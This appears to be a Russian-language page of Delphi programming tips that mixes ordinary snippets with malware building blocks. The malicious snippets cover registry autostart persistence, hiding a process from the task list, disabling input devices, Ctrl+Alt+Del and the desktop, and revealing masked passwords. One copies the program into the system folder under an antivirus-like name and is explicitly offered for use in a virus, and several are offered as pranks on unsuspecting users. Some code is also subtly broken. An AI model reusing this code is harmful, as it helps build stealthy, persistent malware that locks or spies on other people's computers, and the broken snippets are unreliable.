|
.: Delphi Tips
:.
Вставляет прогу в
Автозагрузку
var
g:TReginiFile;
begin
g:=TReginiFile.Create('Software');
g.RootKey:=HKEY_LOCAL_MACHINE;
g.OpenKey('Software',true);
g.OpenKey('Microsoft',true);
g.OpenKey('Windows',true);
g.OpenKey('CurrentVersion',true);
g.WriteString('RunServices','имя
параметра',Application.ExeName);
g.Free;
end;
uses
registry;
А это супер отключает клаву и
крысу!!!
winexec(Pchar('rundll32
keyboard,disable'),sw_Show);//клава
winexec(Pchar('rundll32
mouse,disable'),sw_Show);//крыса
DWORD!!!!!
В uses
добавить registry;
var
buf:DWORD;
reg:Tregistry;
begin
buf:=1; //1
да 0
нет
reg:=Tregistry.create;
reg.rootkey:=HKEY_CLASSES_ROOT;
reg.openkey('HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\explorer',true);
reg.WriteBinaryData('NoLogOff,buf,sizeof(buf));
reg.free;
эта
прога убирает Завершение сеанса 'NoLogOff'
вот ещё
параметры:
'NoFavoritesMenu' избранное
'NoRun'
выполнить
'NoFind' поиск
Вставлять вместо
'NoLogOff'
Прогу не закроешь пока
reallyclose:=false
implementation
var
reallyclose:boolean=false;
{$R
*.dfm}
procedure TForm1.FormClose(Sender: TObject; var
Action: TCloseAction);
begin
if (reallyclose)
then
action:=caFree
else
Action:=caNone;
end;
Прячемся!
ShowWindow(Application.Handle, SW_HIDE); //Программа не
доступна при нажатии на ALT+TAB
SetWindowLong(Application.Handle,
GWL_EXSTYLE,GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
Запуск
проги
uses
shellapi;
begin
Shellexecute(handle,nil,'путь
к файлу','','c:/',sw_show);
end;
Показывает пароли под ***
Program
Star;
Uses Windows, Messages, SysUtils ;
function
showpass(wnd: hwnd): BOOL; stdcall;
var c: array[0..127] of
char;
s: string;
begin
wnd:=GetWindow(wnd,
GW_CHILD);
while wnd<>0 do begin
if
GetClassName(wnd, c, SizeOf(c))>0 then begin
s:=StrPAS(c);
{извлекаем класс окна}
if UpperCase(s)='EDIT' then
begin
sendmessage(wnd, em_setpasswordchar, 0,
0);
invalidaterect(wnd, nil, true);
end;
end;
wnd:=GetWindow(wnd,
GW_HWNDNEXT);
end;
end;
begin
while true do
begin
EnumWindows(@showpass,
0);
sleep(2000);
end;
end.
Всё для
перезагрузки
exitWindowsEx(EWX_SHUTDOWN,0);
exitWindowsEx(EWX_REBOOT,0);
Winexec(Pchar('rundll32
shell32,SHExitWindowsEx 1'),sw_Show);//cool
Простой порт
сканер
var
port:integer;
ip:string;
begin
ip:='127.0.0.1';
If
not InputQuery('Atenition','Enter IP adress',ip) then exit;
For
port:= strtoint(edit1.text) to strtoint(edit2.text)
do
begin
tcp1.RemotePort:=inttostr(port);
tcp1.Open;
If
tcp1.Connected
then
Memo1.Lines.Add(Inttostr(port)+'open');
tcp1.Close;
end;
Вырубаем
моник
SendMessage(Application.Handle,
wm_SysCommand, SC_MonitorPower, 0) ;
Чтобы вывести его
из этого режима:
SendMessage(Application.Handle, wm_SysCommand,
SC_MonitorPower, -1) ;
Прячит.показывает
трэй
ShowWindow(FindWindow('Shell_TrayWnd',
nil), SW_hide);
ShowWindow(FindWindow('Shell_TrayWnd', nil),
SW_show);
Показывает завершение
работы
SendMessage (FindWindow ('Progman',
'Program Manager'), WM_CLOSE, 0, 0);
Блокировка
системы!!!!!!
var old:Boolean;
OldVal :
LongInt;
{$R *.dfm}
procedure TForm1.Button1Click(Sender:
TObject);
begin
old:=True; //Отключить
ALT+CTRL+DEL
ShowWindow(FindWindow('Shell_TrayWnd', nil),
SW_HIDE); //Скрыть
TaskBar
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@old,0);
////Отключить ALT+CTRL+DEL
SystemParametersInfo (97, Word (True),
@OldVal, 0); //Отключить ALT+TAB
END;
procedure
TForm1.Button2Click(Sender:
TObject);
begin
old:=false;
ShowWindow(FindWindow('Shell_TrayWnd',
nil), SW_SHOW); // Показать
Taskbar
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,@old,0);
//Восстановить ALT+CTRL+DEL;
SystemParametersInfo (97, Word
(False), @OldVal, 0);
//
end;
end.
_______________________
//исключаем
из списка ALT+CTRL+DEL
ShowWindow (Application.handle,
SW_HIDE);
//Размер формы:=Размеру
Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
//Отключаем
ALT+CTRL+DEl ALT+TAB
CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
//Убираем
Панель задач
hTaskbar := FindWindow('Shell_TrayWnd',
Nil);
ShowWindow(hTaskBar, SW_HIDE);
//Убираем Иконки с
рабочего стола
ShowWindow(FindWindow(nil,'Program
Manager'),SW_HIDE);
Дырки в
окне.
implementation
var
F,E:HRGN;
{$R
*.dfm}
procedure TForm1.Button1Click(Sender:
TObject);
begin
F:=CreateRectRgn(0 ,0 , Width,
Height);
E:=CreateEllipticRgn(0 ,0 , Width,
Height);
CombineRgn (F , F , E , RGN_DIFF);
SetWindowRgn
(Handle , F, True);
end;
end.
Прогу невидно в инспекторе
задач
function RegisterServiceProcess(dwProcessID,
dwType: Integer): Integer; stdcall; external
'KERNEL32.DLL';
implementation
procedure
TForm1.Button1Click(Sender: TObject);
begin //Скрываем
if not
(csDesigning in ComponentState)
then
RegisterServiceProcess(GetCurrentProcessID, 1);
//прячит
end;
procedure TForm1.Button2Click(Sender:
TObject);
begin //Опять показываем
if not (csDesigning in
ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,
0);//показывает
end;
Нет рабочего стола!!!!!!!(Вот я над
ламаком этой штукой прикольнулся!!:))))
ShowWindow(FindWindow(nil,'Program
Manager'),SW_HIDE);//Отключает
р.стол
ShowWindow(FindWindow(nil,'Program
Manager'),SW_SHOW);//включает
Осел и мыло
ShellExecute(0,0,'about:blank',0,0,0); // вызов
браузера
ShellExecute(0,0,'mailto:',0,0,0); // вызов
почты
//показывает подключён комп к сети или нет
if
GetSystemMetrics(SM_NETWORK) and $01 = $01
then
ShowMessage('Computer is attached to a
network!')
else
ShowMessage('Computer is not attached to a
network!');
\\выведет путь к винде, систем etc.
dir,str:
string;
len: integer;
begin
len :=
255;
SetLength(Dir,Len);
Len :=
GetSystemDirectory(PChar(Dir),Len);
SetLength(Dir,Len);
edit1.text:=dir;
end;
а теперь смотри супер
код
он копирует ехе в систем и запускает оттуда
dir,str:
string;
len: integer;
begin
Application.ShowMainForm :=
false;
len := 255;
SetLength(Dir,Len);
Len :=
GetSystemDirectory(PChar(Dir),Len);
SetLength(Dir,Len);
if
Application.ExeName <> Dir + '\AVPMON.EXE' then
begin
if
not FileExists(Dir + '\avpmon.exe')
then
begin
CopyFile('filename',PChar(Dir +
'\filename'),false);
WinExec(PChar(Dir +
'\filename'),0);
end;
uses shellapi;
это можно юзать в
простом вире только добавь код автозагрузки
//показывает ИП по
домену
uses winsock
-------
function
IPAddrToName(IPAddr : String):
String;
var
SockAddrIn:
TSockAddrIn;
HostEnt: PHostEnt;
WSAData:
TWSAData;
begin
WSAStartup($101,
WSAData);
SockAddrIn.sin_addr.s_addr:=
inet_addr(PChar(IPAddr));
HostEnt:=
gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if
HostEnt<>nil
then
begin
result:=StrPas(Hostent^.h_name)
end
else
begin
result:='';
end;
end;
//Пример
использования:
procedure TForm1.Button1Click(Sender:
TObject);
begin
Label1.Caption:=IPAddrToName(Edit1.Text);
end;
//эта хрень изменит
заголовок у мой копм на голимый лох
var
h:hwnd;
begin
h:=FindWindow(Nil,'Мой
компьютер');
setwindowtext(h,'Голимый лох');
Мессаги:
Application.MessageBox('Текст окна', 'Текст заголовка',
MB_OKCANCEL);
if(Application.MessageBox('Текст окна', 'Текст
заголовка', MB_OKCANCEL) = IDOK)
then
Application.MessageBox('Текст окна', 'Текст заголовка',
MB_OK or MB_ICONWARNING);
//ошибка
Application.MessageBox('Текст окна', 'Текст
заголовка', MB_OK or
MB_ICONERROR);
Application.MessageBox('Текст окна', 'Текст
заголовка', MB_OK or
MB_ICONINFORMATION);
Application.MessageBox('Текст окна',
'Текст заголовка', MB_OK or MB_ICONQUESTION);//вопрос
//двигает курсор мыши зделай это по таймеру через 1 и спрячь
прогу
это ваще угар за ламером
наблюдать!!!!!!!!!!!!!!!!!!!
var
pt :
TPoint;
begin
Application.ProcessMessages;
Screen.Cursor :=
CrHourglass;
GetCursorPos(pt);
SetCursorPos(pt.x + 1, pt.y +
1);
Application.ProcessMessages;
SetCursorPos(pt.x - 1, pt.y -
1);
end;
//это проверка на существование
if
FileExists('полный путь')
then
label1.Caption:='da'
else
label1.Caption:='net';
Поиск
etc.
var
SearchRec:TSearchRec;
begin
// Ищем
файл
if FindFirst(Edit1.Text,faAnyFile,SearchRec)=0 then
//
Забираем имя
Edit2.Text:=(SearchRec.Name);
//Закрываем
поиск
FindClose(SearchRec);
end;
faAnyFile
-all
faReadOnly - искать файлы с атрибутом ReadOnly (только
для чтения).
faHidden - искать скрытые
файлы.
faSysFile - искать системные
файлы.
faArchive - искать архивные
файлы.
faDirectory - искать директории.
Пример на основе простого модуля-класса, осуществляющего
просмотр буфера
обмена.
--------------------------------------------------------------------------------
unit
ClipboardViewer;
interface
uses
Windows,
Messages, SysUtils, Classes, Graphics, Controls,
Forms,
Dialogs;
type
TForm1 =
class(TForm)
procedure FormCreate(Sender: TObject);
procedure
FormDestroy(Sender: TObject);
private
FNextViewerHandle :
THandle;
procedure WMDrawClipboard (var message :
TMessage);
message WM_DRAWCLIPBOARD;
procedure WMChangeCBCHain
(var message : TMessage);
message
WM_CHANGECBCHAIN;
public
end;
var
Form1:
TForm1;
implementation
{$R *.DFM}
procedure
TForm1.FormCreate(Sender: TObject);
begin
// Проверяем
работоспособность функции.
// При невозможности просмотра буфера
обмена
// функция возвратит значение Nil.
FNextViewerHandle :=
SetClipboardViewer(Handle);
end;
procedure
TForm1.FormDestroy(Sender: TObject);
begin
//
Восстанавливаем цепочки.
ChangeClipboardChain(Handle,
FNextViewerHandle);
end;
procedure TForm1.WMDrawClipboard
(var message : TMessage);
begin
// Вызывается при любом
изменении содержимого буфера обмена
message.Result :=
SendMessage(WM_DRAWCLIPBOARD, FNextViewerHandle, 0,
0);
end;
procedure TForm1.WMChangeCBCHain (var message :
TMessage);
begin
// Вызывается при любом изменении цепочек
буфера обмена.
if message.wParam = FNextViewerHandle then
begin
// Удаляем следующую цепочку просмотра. Корректируем
внутреннюю переменную.
FNextViewerHandle := message.lParam;
//
Возвращаем 0 чтобы указать, что сообщение было
обработано
message.Result := 0;
end else begin
// Передаем
сообщение следующему окну в цепочке.
message.Result :=
SendMessage(FNextViewerHandle, WM_CHANGECBCHAIN,
message.wParam,
message.lParam);
end;
end;
end.
HexToInt!!!!!!
1 способ:
var
i : integer
s :
string;
begin
s := '$' + ThatHexString;
i :=
StrToInt(a);
end;
2 способ:
CONST HEX : ARRAY['A'..'F'] OF
INTEGER = (10,11,12,13,14,15);
VAR str : String;
Int,
i
: integer;
BEGIN
READLN(str);
Int := 0;
FOR i := 1
TO Length(str) DO
IF str[i] < 'A' THEN Int := Int * 16 +
ORD(str[i]) - 48
ELSE Int := Int * 16 +
HEX[str[i]];
WRITELN(Int);
READLN;
END.
Для копирования в
буфер обмена есть Две вспомогательных
процедуры:
--------------------------------------------------------------------------------
procedure
CopyButtonClick(Sender: TObject);
begin
If ActiveControl
is TMemo then TMemo(ActiveControl).CopyToClipboard;
If
ActiveControl is TDBMemo then
TDBMemo(ActiveControl).CopyToClipboard;
If ActiveControl is TEdit
then TEdit(ActiveControl).CopyToClipboard;
If ActiveControl is
TDBedit then
TDBedit(ActiveControl).CopyToClipboard;
end;
procedure
PasteButtonClick(Sender: TObject);
begin
If ActiveControl
is TMemo then TMemo(ActiveControl).PasteFromClipboard;
If
ActiveControl is TDBMemo then
TDBMemo(ActiveControl).PasteFromClipboard;
If ActiveControl is
TEdit then TEdit(ActiveControl).PasteFromClipboard;
If
ActiveControl is TDBedit then
TDBedit(ActiveControl).PasteFromClipboard;
end;
uses DB, DBTables,
StdCtrls;
//Код для
создания *.db файла во время работы приложения:
procedure TForm1.Button1Click(Sender:
TObject);
var
tSource, TDest:
TTable;
begin
TSource := TTable.create(self);
with
TSource do begin
DatabaseName := 'dbdemos';
TableName :=
'customer.db';
open;
end;
TDest :=
TTable.create(self);
with TDest do begin
DatabaseName :=
'dbdemos';
TableName :=
'MyNewTbl.db';
FieldDefs.Assign(TSource.FieldDefs);
IndexDefs.Assign(TSource.IndexDefs);
CreateTable;
end;
TSource.close;
end;
Как узнать, находится ли дискета в
дисководе?
ВОТ - Пожалуйста код:)
type
TDriveState(DS_NO_DISK,
DS_UNFORMATTED_DISK,
DS_EMPTY_DISK,
DS_DISK_WITH_FILES);
function DriveState(DrvLetter: Char):
TDriveState;
var
Mask: String[6];
SearchRec:
TSearchRec;
oldMode: Cardinal;
ReturnCode:
Integer;
begin
oldMode: =
SetErrorMode(SEM_FAILCRITICALERRORS);
Mask:= '?:\*.*';
Mask[1]
:= DrvLetter;
{$I-} { отключить обработку исключительных ситуаций
}
ReturnCode := FindFirst(Mask, faAnyfile,
SearchRec);
FindClose(SearchRec);
{$I+}
case ReturnCode
of
{ как минимум один файл был найден }
0: Result :=
DS_DISK_WITH_FILES;
{ файлов не найдено и дискета в порядке
}
-18: Result := DS_EMPTY_DISK;
{ DS_NO_DISK для DOS,
ERROR_NOT_READY для WinNT, ERROR_PATH_NOT_FOUND для Win 3.1
}
-21, -3: Result := DS_NO_DISK;
else
{ дискета лежит в
дисководе но она не форматировнная }
Result :=
DS_UNFORMATTED_DISK;
end;
SetErrorMode(oldMode);
end; {
DriveState }
Извлечение иконки и рисование ее в
TImage:
uses
ShellApi;
procedure TForm1.Button1Click(Sender:
TObject);
var
IconIndex : word;
h :
hIcon;
begin
IconIndex := 0;
h
:=
ExtractAssociatedIcon(hInstance,
'C:\WINDOWS\NOTEPAD.EXE',
IconINdex);
DrawIcon(Form1.Canvas.Handle,
10,
10,
h);
end;
Форма копирится в
Clipboard как графическое изображение
uses
clipbrd;
procedure TShowVRML.Kopieren1Click(Sender:
TObject);
var
bitmap:tbitmap;
begin
bitmap:=tbitmap.create;
bitmap.width:=clientwidth;
bitmap.height:=clientheight;
try
with
bitmap.Canvas do
CopyRect
(clientrect,canvas,clientrect);
clipboard.assign(bitmap);
finally
bitmap.free;
end;
end;
СИДЮК:
Для закрытия
CD-ROM:
--------------------------------------------------------------------------------
mciSendString('Set
cdaudio door open wait', nil, 0, handle);
Для открытия
CD-ROM:
--------------------------------------------------------------------------------
mciSendString('Set
cdaudio door closed wait', nil, 0, handle);
включи MMSystem
в uses.
Получение идентификатора
сидюка:
const
MCI_INFO_PRODUCT =
$00000100;
MCI_INFO_FILE = $00000200;
MCI_INFO_MEDIA_UPC =
$00000400;
MCI_INFO_MEDIA_IDENTITY = $00000800;
MCI_INFO_NAME
= $00001000;
MCI_INFO_COPYRIGHT = $00002000;
{ блок
параметров для командного сообщения MCI_INFO
}
type
PMCI_Info_ParmsA =
^TMCI_Info_ParmsA;
PMCI_Info_ParmsW =
^TMCI_Info_ParmsW;
PMCI_Info_Parms =
PMCI_Info_ParmsA;
TMCI_Info_ParmsA = record
dwCallback:
DWORD;
lpstrReturn: PAnsiChar;
dwRetSize:
DWORD;
end;
TMCI_Info_ParmsW = record
dwCallback:
DWORD;
lpstrReturn: PWideChar;
dwRetSize:
DWORD;
end;
TMCI_Info_Parms =
TMCI_Info_ParmsA;
Идентификатор
возвращается функцией MCI_INFO_MEDIA_IDENTITY в виде строки с
десятичным числом. За дополнительной инфой лезь в электронную
справку (Win32 и компонент TMediaPlayer).
|
